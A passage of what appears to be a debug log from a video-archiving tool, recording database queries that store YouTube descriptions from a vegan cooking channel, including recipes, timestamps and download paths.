\u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\n🌱 TOP 1- GLUTEN-FREE PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0TOP\u00A010\u00A0GLUTEN-FREE\u00A0PANTRY\u00A0ESSENTIALS\u00A0\u00A0(veg...\u00A0\u00A0\n🌱 WHAT DO GLUTEN-FREE VEGANS EAT: \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nTimestamps:\n0:00 - Intro\n1:04 - Keep herbs + greens fresh in a glass of water\n2:42 - Regrow green onions in water\n3:28 - Store celery + carrots in a container of water\n4:49 - Keep asparagus upright in a jar of water\n5:10 - Keep radishes in water and keep the greens\n6:22 - Keep citrus fruits in crisper drawer\n6:56 - Keep bell pepper in crisper drawer\n7:33 - Keep mushrooms in ventilated container/bag\n8:33 - Keep ginger sealed in crisper drawer\n9:15 - Let avocados + bananas ripen on counter\n10:14 - Never put tomatoes in the fridge\n10:51 - Let stone fruits ripen on counter\n11:26 - Keep apples in the fridge\n12:00 - Never put cucumbers in the fridge\n13:23 - Keep garlic, potatoes + onions in a cool dark space\n15:06 - Keep melons away from other produce\n15:32 - Keep berries in mason jars", "How to Make Your Produce Last Longer, Reduce Food Waste, and Save Money on Groceries!", 1, nil, false, "JD3i1XiCbEU", "https://www.youtube.com/watch?v=JD3i1XiCbEU", "/downloads/downloads/alec/Steamy Vegan/2022-09-15 How to Make Your Produce Last Longer, Reduce Food Waste, and Save Money on Groceries!/How to Make Your Produce Last Longer, Reduce Food Waste, and Save Money on Groceries! [JD3i1XiCbEU].NA", false, ~U[2022-09-15 00:00:00Z]] 20:31:08.584 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.586 [debug] QUERY OK source="media_items" db=1.7ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-09 00:00:00Z], 1] 20:31:08.589 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you what I eat in a week as a vegan with 5 easy vegan lunch recipes for work or school! All recipes shown are gluten and oil-free, great for meal prep and are weight-loss friendly! 😊\n\nLove this video? Make sure to LIKE 👍🏻 and SUBSCRIBE to \u202A@steamyvegan\u202C ! Looking for more easy recipes? You might want to check out these videos:\nWhat I Eat In a Week/5 Easy Breakfast Recipe: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0For\u00A0Breakfast\u00A0//\u00A05\u00A0ea...\u00A0\u00A0\nWhat I Eat In a Week/Meal Prep + Easy Weight Loss Recipes: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0//\u00A0Weight\u00A0Loss-Friend...\u00A0\u00A0\n\n1. DOUBLE TOMATO AND BASIL PASTA SALAD 🍅🌱\nIngredients:\n1 package chickpea pasta of choice, cooked and chilled\n1 can of artichoke hearts, drained\n2 cups of cherry or grape tomatoes, halved\n1/2 cup pitted kalamata olives\n1/3 cup sundried tomatoes, finely chopped\n2 cloves garlic, minced\n1 tbsp italian seasoning\njuice of 1/2 lemon\n1 cup fresh chopped basil\n2 tbsp balsamic vinegar\n\nLiterally couldn't be any easier than this: dump all of these ingredients into a large bowl, mix until combined, chill for at least 30 minutes and enjoy! \n\n2. EASY SUSHI BOWLS 🍱\nIngredients:\n1 cup cooked brown sticky rice\nsalad greens\n1 carrot, shredded\n1/3 block of firm tofu, pressed and cubed\n1/3 cup shelled edamame\n1/4 - 1/3 cup shredded or pickled red cabbage\n1/4 avocado\nsushi nori (seaweed) sheet, shredded\nsoy sauce or tamari, to season\nsesame seeds, to garnish\nchopped green onion, to garnish\n\nAnother fuss free bowl: simply add all ingredients into a large bowl or sealable container, arrange as you please and enjoy!\n\n3. CURRIED VEGGIE TRAYBAKE 🥦🧅🍠🫑🍆\nIngredients: 4-6 veggies of choice, chopped into bite sized pieces. I used\n3 small yams\n1 head broccoli\n1/2 red onion\n8 Brussels sprouts\n2 small eggplants\n2 red bell peppers\n2 carrots\nSoy sauce or tamari, to season\n2-3 tbsp curry powder or garam masala\ncilantro for garnish\n\nArrange all chopped veggies onto 2 sheet pans. Lightly brush soy sauce on each piece and then generously sprinkle curry powder over all the veggies. Use your hands to turn and massage the seasonings into each piece. Don't have 'curry powder'? Make your own spice blend instead. Combine: 1 tbsp each cumin, coriander, cinnamon, chilli powder, turmeric and 1/2 tbsp ginger.\nBake for 40-45 minutes at 450°F, flipping the veggies halfway. Serve with grain of choice and a dollop of hummus, plus garnish with cilantro.\n\n4. MEDITERRANEAN CHICKPEA WRAPS\nIngredients:\n1 can chickpeas, drained and rinsed\ntortillas (GF or whole wheat)\n1/2 tsp garlic powder\n1 tsp dried oregano\n1/2 tsp dried thyme\n1/2 tsp dried basil\njuice of half a lemon\n1.5 tbsp tahini\nkalamata olives\ndiced red onion\ncherry or grape tomatoes, halved\nvegan feta cheese\nsalad greens\n\nAdd the chickpeas to a non-stick saucepan and stir in the tahini, lemon juice plus spices until well combined. Sauté on medium heat with for 10 minutes until slightly golden (adding little bits of water of lemon juice as it cooks to prevent sticking or burning). To a tortilla add about 1/3 cup of the herby chickpeas plus any amount you like of the kalamata olives, red onion, tomatoes, feta cheese and salad greens. Extra tahini is optional too. Wrap and enjoy right away or place in a panini press for a couple minutes to warm up and add some extra crunch to the tortilla. Yumm!!\n\n5. ROASTED AUTUMN VEGGIE SALAD \nIngredients:\n3-4 large beets, peeled and diced\n2-3 large carrots, peeled and cubed\n1 dozen brussels sprouts, halved\nsalad greens\ndried cranberries\nroasted pumpkin seeds\ntahini to drizzle\n\nAdd the prepared veggies to 2 large baking sheets and season with salt and pepper. Bake for 40-45 minutes at 450°F. Serve in a bowl on top of salad greens and top with any amount you like of dried cranberries, roasted pumpkin seeds and some tahini to drizzle. You can serve with rice or any plant based protein you like, as well (tofu, chickpeas, tempeh, hummus). Enjoy!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps:\n0:00 - Intro\n0:35 - Double To" <> ..., "What I Eat in a Week For Lunch // 5 EASY vegan lunch recipes for work or school 📚✏️", "8104eca4-4cf8-45d9-bafd-701bf866063a", 1, [], false, "1cjfXi1Wd3w", "https://www.youtube.com/watch?v=1cjfXi1Wd3w", 347, "/downloads/downloads/alec/Steamy Vegan/2022-09-09 What I Eat in a Week For Lunch ⧸⧸ 5 EASY vegan lunch recipes for work or school 📚✏️/What I Eat in a Week For Lunch ⧸⧸ 5 EASY vegan lunch recipes for work or school 📚✏️ [1cjfXi1Wd3w].NA", false, false, false, 2, ~U[2022-09-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you what I eat in a week as a vegan with 5 easy vegan lunch recipes for work or school! All recipes shown are gluten and oil-free, great for meal prep and are weight-loss friendly! 😊\n\nLove this video? Make sure to LIKE 👍🏻 and SUBSCRIBE to \u202A@steamyvegan\u202C ! Looking for more easy recipes? You might want to check out these videos:\nWhat I Eat In a Week/5 Easy Breakfast Recipe: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0For\u00A0Breakfast\u00A0//\u00A05\u00A0ea...\u00A0\u00A0\nWhat I Eat In a Week/Meal Prep + Easy Weight Loss Recipes: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0//\u00A0Weight\u00A0Loss-Friend...\u00A0\u00A0\n\n1. DOUBLE TOMATO AND BASIL PASTA SALAD 🍅🌱\nIngredients:\n1 package chickpea pasta of choice, cooked and chilled\n1 can of artichoke hearts, drained\n2 cups of cherry or grape tomatoes, halved\n1/2 cup pitted kalamata olives\n1/3 cup sundried tomatoes, finely chopped\n2 cloves garlic, minced\n1 tbsp italian seasoning\njuice of 1/2 lemon\n1 cup fresh chopped basil\n2 tbsp balsamic vinegar\n\nLiterally couldn't be any easier than this: dump all of these ingredients into a large bowl, mix until combined, chill for at least 30 minutes and enjoy! \n\n2. EASY SUSHI BOWLS 🍱\nIngredients:\n1 cup cooked brown sticky rice\nsalad greens\n1 carrot, shredded\n1/3 block of firm tofu, pressed and cubed\n1/3 cup shelled edamame\n1/4 - 1/3 cup shredded or pickled red cabbage\n1/4 avocado\nsushi nori (seaweed) sheet, shredded\nsoy sauce or tamari, to season\nsesame seeds, to garnish\nchopped green onion, to garnish\n\nAnother fuss free bowl: simply add all ingredients into a large bowl or sealable container, arrange as you please and enjoy!\n\n3. CURRIED VEGGIE TRAYBAKE 🥦🧅🍠🫑🍆\nIngredients: 4-6 veggies of choice, chopped into bite sized pieces. I used\n3 small yams\n1 head broccoli\n1/2 red onion\n8 Brussels sprouts\n2 small eggplants\n2 red bell peppers\n2 carrots\nSoy sauce or tamari, to season\n2-3 tbsp curry powder or garam masala\ncilantro for garnish\n\nArrange all chopped veggies onto 2 sheet pans. Lightly brush soy sauce on each piece and then generously sprinkle curry powder over all the veggies. Use your hands to turn and massage the seasonings into each piece. Don't have 'cur (truncated) 20:31:08.589 [debug] QUERY OK source="sources" db=0.6ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.592 [debug] QUERY OK source="media_items" db=2.0ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-02 00:00:00Z], 1] 20:31:08.593 [debug] QUERY OK source="media_items" db=1.3ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I show you what I eat in a week for breakfast in this video 😌 I make 5 easy vegan weight loss-friendly recipes that are nutritious, filling and simple! Some days I had more time to spend on preparing something a little more elaborate, other days I needed to make something quick and simple! I hope you find one or two recipes that you're excited to try!\n\nLooking for more vegan meal inspiration? Check out some of our other 'What I Eat' videos! ⬇️\nWHAT I EAT IN A WEEK FOR WEIGHT LOSS: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0//\u00A0Weight\u00A0Loss-Friend...\u00A0\u00A0\nWHAT BRAD EATS WHEN JANELLE IS AWAY: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0For\u00A0Breakfast,\u00A0Lunch\u00A0a...\u00A0\u00A0\nWHAT DO GLUTEN-FREE VEGANS EAT: \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\n\nIN THIS VIDEO:\nChocolate Strawberry Oatmeal: a variation of my creamy spiced oatmeal (used water instead of plant milk) \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Oatmeal\u00A0|\u00A0Vegan\u00A0&\u00A0Glu...\u00A0\u00A0\nVeggie & Potato Skillet: I honestly didn't use a recipe, just used up some veggies in my fridge (onion, zucchini, bell pepper, broccoli, mushrooms), tofu, and various spices! \nBreakfast Burrito: leftover veggies and potato skillet with some vegan cheese, baked tofu and bell peppers wrapped up in a gluten-free tortilla. Easy!\nLoaded Waffle with Blueberry Sauce: For the sauce I combined fresh blueberries, tapioca starch and maple syrup and cooked it down until it was bubbling and juicy. Salt and lemon juice for extra flavour. \nBig Green Smoothie: lots of greens, veggies and fruit - was super filling!\n\n\nIf you made any of these recipes and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by frumhere - thoughts in colors - https://thmatc.co/?l=FE7EF04B\nMusic by Damien Sebe - Light Leaks - https://thmatc.co/?l=235310F1\n\nTimestamps:\n0:00 - Intro\n1:29 - Oatmeal & Fresh Fruit\n2:18 - Veggie & Potato Skillet\n4:47 - Breakfast Burrito\n5:56 - Waffles with Blueberry Sauce\n8:02 - Big Green Smoothie", "What I Eat in a Week For Breakfast // 5 easy vegan weight loss-friendly recipes 🌱", "7eadca53-4c18-4d83-8b7a-ad281c38f565", 1, [], false, "_QIVV-y7GQg", "https://www.youtube.com/watch?v=_QIVV-y7GQg", 348, "/downloads/downloads/alec/Steamy Vegan/2022-09-02 What I Eat in a Week For Breakfast ⧸⧸ 5 easy vegan weight loss-friendly recipes 🌱/What I Eat in a Week For Breakfast ⧸⧸ 5 easy vegan weight loss-friendly recipes 🌱 [_QIVV-y7GQg].NA", false, false, false, 1, ~U[2022-09-02 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I show you what I eat in a week for breakfast in this video 😌 I make 5 easy vegan weight loss-friendly recipes that are nutritious, filling and simple! Some days I had more time to spend on preparing something a little more elaborate, other days I needed to make something quick and simple! I hope you find one or two recipes that you're excited to try!\n\nLooking for more vegan meal inspiration? Check out some of our other 'What I Eat' videos! ⬇️\nWHAT I EAT IN A WEEK FOR WEIGHT LOSS: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0//\u00A0Weight\u00A0Loss-Friend...\u00A0\u00A0\nWHAT BRAD EATS WHEN JANELLE IS AWAY: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0For\u00A0Breakfast,\u00A0Lunch\u00A0a...\u00A0\u00A0\nWHAT DO GLUTEN-FREE VEGANS EAT: \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\n\nIN THIS VIDEO:\nChocolate Strawberry Oatmeal: a variation of my creamy spiced oatmeal (used water instead of plant milk) \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Oatmeal\u00A0|\u00A0Vegan\u00A0&\u00A0Glu...\u00A0\u00A0\nVeggie & Potato Skillet: I honestly didn't use a recipe, just used up some veggies in my fridge (onion, zucchini, bell pepper, broccoli, mushrooms), tofu, and various spices! \nBreakfast Burrito: leftover veggies and potato skillet with some vegan cheese, baked tofu and bell peppers wrapped up in a gluten-free tortilla. Easy!\nLoaded Waffle with Blueberry Sauce: For the sauce I combined fresh blueberries, tapioca starch and maple syrup and cooked it down until it was bubbling and juicy. Salt and lemon juice for extra flavour. \nBig Green Smoothie: lots of greens, veggies and fruit - was super filling!\n\n\nIf you made any of these recipes and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by frumhere - thoughts in colors - https://thmatc.co/?l=FE7EF04B\nMusic by Damien Sebe - Light Leaks - https://thmatc.co/?l=235310F1\n\nTimestamps:\n0:00 - Intro\n1:29 - Oatmeal & Fresh Fruit\n2:18 - Veggie & Potato Skillet\n4:47 - Breakfast Burrito\n5:56 - Waffles with Blueberry Sauce\n8:02 - Big Green Smoothie", "What I Eat in a Week For Breakfast // 5 easy vegan weight loss-friendly recipes 🌱", 1, nil, false, "_QIVV-y7GQg", "https://www.youtube.com/watch?v=_QIVV-y7GQg", "/downloads/downloads/alec/Steamy Vegan/2022-09-02 What I Eat in a Week For Breakfast ⧸⧸ 5 easy vegan weight loss-friendly recipes 🌱/What I Eat in a Week For Breakfast ⧸⧸ 5 easy vegan weight loss-friendly recipes 🌱 [_QIVV-y7GQg].NA", false, ~U[2022-09-02 00:00:00Z]] 20:31:08.594 [debug] QUERY OK source="sources" db=0.5ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.596 [debug] QUERY OK source="media_items" db=1.6ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-21 00:00:00Z], 1] 20:31:08.599 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here's what I eat in a week on a plant-based, vegan, gluten-free and oil-free diet! All the recipes shown are gluten and oil-free, plus I show you how to do easy weight loss-friendly meal prep! 😁\n\nRECIPES WE MAKE:\nOil-Free Baked Sweet Potatoes 🍠\nInstant Pot Refried Beans \nPico de Gallo 🍅\n\nMEALS WE PREP:\nBreakfast: Sweet Potato Breakfast Cookies 🍪\nLunch: Freezer-Friendly Burritos 🌯\nDinner: Big Burrito Bowls 🥣\n\nLove this video? Make sure to LIKE 👍🏻 and SUBSCRIBE to my channel! \n\nRECIPES:\n✨ Baked Sweet Potatoes\nYou'll need 2 large or 4 to 5 medium sweet potatoes/yams. Wash and dry thoroughly. Cut into large chunks and set on parchment lined baking trays. Bake for 45-55 minutes at 425°F until fork tender.\n\n✨ Instant Pot Refried Beans\nIngredients:\n2 cups dry pinto beans\n1 small yellow onion, diced\n1 jalapeño — cored, seeded (if you don't like spicy 🔥) and sliced\n3 cloves minced garlic\n4 cups vegetable stock\n2 cups water\n2 bay leaves\n1 1/2 teaspoons kosher salt\n1 teaspoon ground cumin\n1 teaspoon dried oregano\n1/8 to 1/4 teaspoon cayenne pepper\nWater for sauteéing\n\nRinse beans well in a large colander and set aside.\nTurn your Instant Pot to SAUTE. Add a splash of water. Once the water is hot, add the onion and jalapeño. Sauté for about 2 minutes, then add the garlic and let cook until just fragrant, about 30 seconds. Add the veggie stock, water, bay leaves, salt, spices, and beans. Stir well to combine.\nSeal the pot and cook on HIGH for 45 minutes. When the 45 minutes has passed, let the pressure release naturally for 25 minutes. Vent to release any remaining pressure. The beans will be very liquidy!! Don't be alarmed.\nDiscard the bay leaves. Reserve 2 cups of the bean cooking liquid, and drain the remainder. Return beans to the pot. With an immersion blender (or potato masher) puree the beans until they reach your desired consistency, adding some of the reserved liquid as needed.\n\n✨ Pico De Gallo\nIngredients:\n1 lb tomatoes, (3-4 medium), diced\n1/2 medium onion, (1 cup chopped)\n1 jalapeno pepper, seeded and finely minced (optional)\n1/2 cup cilantro, chopped\n2 Tbsp lime juice, from 1 lime\n1/2 tsp salt, or to taste\n1/8 tsp black pepper\n\nAdd all ingredients to a food processor and blitz until chunky (or your desired consistency).\n\n✨ Sweet Potato Breakfast Cookies\nIngredients:\n2 cups rolled oats, blend 1 cup into flour (gluten-free if needed)\n1 cup almond flour\n1 ½ teaspoons ground cinnamon\n1 teaspoon baking powder\n½ teaspoon fine sea salt\n¼ teaspoon ground ginger\n1 cup mashed baked sweet potato\n⅓ cup maple syrup\n⅓ cup nondairy yogurt, plain or vanilla\n1 teaspoon vanilla\n¼ cup chopped pecans\n¼ cup chocolate chips, vegan\n\nIn a large bowl, combine the rolled oats, oat flour, almond flour, spices, baking powder and salt until mixed well. In another bowl, combine the sweet potato, maple syrup, vanilla and yogurt until its a uniform mixture. Add the wet ingredients into the dry ingredients and mix well with a wooden spoon. Fold in the pecans and choc chips. Scoop out 2 tbsp-sized dollops of batter onto a parchment lined baking sheet (you should get 11-12 cookies) and press down gently until slightly flat. Bake for 25-28 minutes at 350°F until golden on the edges.\n\n✨ Freezer-Friendly Burritos\nIngredients:\n6-8 tortillas (gluten-free if needed)\n1.5 cups refried beans\n1.5 cups day old rice (brown or jasmine)\n1.5 cups fresh or frozen corn (thawed)\n1.5 cups baked sweet potato, cut into small chunks\nPico de gallo (for serving)\n\nWarm up each tortilla in microwave for 20 seconds before rolling. Spread generous amounts of refried beans, rice, corn and sweet potato, and roll up into a burrito. Wrap each burrito in foil or parchment and place in freezer. Thaw out on counter for 30 minutes before reheating in microwave, panini press or toaster oven. \n\n✨ Big Burrito Bowl\nIngredients (adjust as you like!)\nGreens of choice\nRefried Beans, warm\nBrown or Jasmine Rice, warm\nBaked Sweet potato, warm\nPico De Gallo\nAvocado\nCorn\nOptional: tortilla chips, cashew crema, hot sauce, fresh tomatoes\n\nLoad up a big bowl, starting with a base of greens (about 2 cups" <> ..., "What I Eat in a Week // Weight Loss-Friendly Vegan Meal Prep! // Gluten and Oil-Free Recipes", "c71719b4-1502-447c-9898-46d7c46dbe9b", 1, [], false, "SG55bgKwvDg", "https://www.youtube.com/watch?v=SG55bgKwvDg", 349, "/downloads/downloads/alec/Steamy Vegan/2022-08-21 What I Eat in a Week ⧸⧸ Weight Loss-Friendly Vegan Meal Prep! ⧸⧸ Gluten and Oil-Free Recipes/What I Eat in a Week ⧸⧸ Weight Loss-Friendly Vegan Meal Prep! ⧸⧸ Gluten and Oil-Free Recipes [SG55bgKwvDg].NA", false, false, false, 1, ~U[2022-08-21 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Here's what I eat in a week on a plant-based, vegan, gluten-free and oil-free diet! All the recipes shown are gluten and oil-free, plus I show you how to do easy weight loss-friendly meal prep! 😁\n\nRECIPES WE MAKE:\nOil-Free Baked Sweet Potatoes 🍠\nInstant Pot Refried Beans \nPico de Gallo 🍅\n\nMEALS WE PREP:\nBreakfast: Sweet Potato Breakfast Cookies 🍪\nLunch: Freezer-Friendly Burritos 🌯\nDinner: Big Burrito Bowls 🥣\n\nLove this video? Make sure to LIKE 👍🏻 and SUBSCRIBE to my channel! \n\nRECIPES:\n✨ Baked Sweet Potatoes\nYou'll need 2 large or 4 to 5 medium sweet potatoes/yams. Wash and dry thoroughly. Cut into large chunks and set on parchment lined baking trays. Bake for 45-55 minutes at 425°F until fork tender.\n\n✨ Instant Pot Refried Beans\nIngredients:\n2 cups dry pinto beans\n1 small yellow onion, diced\n1 jalapeño — cored, seeded (if you don't like spicy 🔥) and sliced\n3 cloves minced garlic\n4 cups vegetable stock\n2 cups water\n2 bay leaves\n1 1/2 teaspoons kosher salt\n1 teaspoon ground cumin\n1 teaspoon dried oregano\n1/8 to 1/4 teaspoon cayenne pepper\nWater for sauteéing\n\nRinse beans well in a large colander and set aside.\nTurn your Instant Pot to SAUTE. Add a splash of water. Once the water is hot, add the onion and jalapeño. Sauté for about 2 minutes, then add the garlic and let cook until just fragrant, about 30 seconds. Add the veggie stock, water, bay leaves, salt, spices, and beans. Stir well to combine.\nSeal the pot and cook on HIGH for 45 minutes. When the 45 minutes has passed, let the pressure release naturally for 25 minutes. Vent to release any remaining pressure. The beans will be very liquidy!! Don't be alarmed.\nDiscard the bay leaves. Reserve 2 cups of the bean cooking liquid, and drain the remainder. Return beans to the pot. With an immersion blender (or potato masher) puree the beans until they reach your desired consistency, adding some of the reserved liquid as needed.\n\n✨ Pico De Gallo\nIngredients:\n1 lb tomatoes, (3-4 medium), diced\n1/2 medium onion, (1 cup chopped)\n1 jalapeno pepper, seeded and finely minced (optional)\n1/2 cup cilantro, chopped\n2 Tbsp lime juice, from 1 lime\n1/2 tsp salt, or to taste\n1/8 tsp black pepper\n\nAdd all ingredients to a food processor and blitz until chunky (or your desired consistency).\n\n✨ Sweet Potato Breakfast Cookies\nIngredients:\n2 cups rolled oats, blend 1 cup into flour (gluten-free if needed)\n1 cup almond flour\n1 ½ teaspoons ground cinnamon\n1 teaspoon baking powder\n½ teaspoon fine s (truncated) 20:31:08.600 [debug] QUERY OK source="sources" db=1.0ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.602 [debug] QUERY OK source="media_items" db=2.2ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-16 00:00:00Z], 1] 20:31:08.608 [debug] QUERY OK source="media_items" db=4.3ms idle=9.2ms INSERT INTO "media_items" AS m0 